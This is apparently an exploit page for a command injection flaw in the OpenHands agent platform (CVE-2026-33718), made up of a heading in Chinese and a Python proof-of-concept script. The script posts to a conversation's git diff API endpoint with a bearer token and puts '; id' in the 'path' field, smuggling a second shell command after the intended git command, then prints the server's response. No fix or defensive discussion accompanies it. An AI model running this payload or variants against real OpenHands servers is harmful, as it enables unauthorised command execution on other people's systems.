CVE-2026-33718 OpenHands命令注入漏洞

import requests # Target URL (Replace with actual host) target_url = "http://localhost:3000/api/conversations/{conversation_id}/git/diff" # Valid conversation ID and authentication token are required conversation_id = "valid_conversation_id" auth_token = "your_valid_auth_token" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Payload to inject a command (e.g., 'id') # The semicolon is used to terminate the intended git command and execute a new one payload = "; id" data = { "path": payload } try: response = requests.post( target_url.format(conversation_id=conversation_id), json=data, headers=headers ) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"An error occurred: {e}")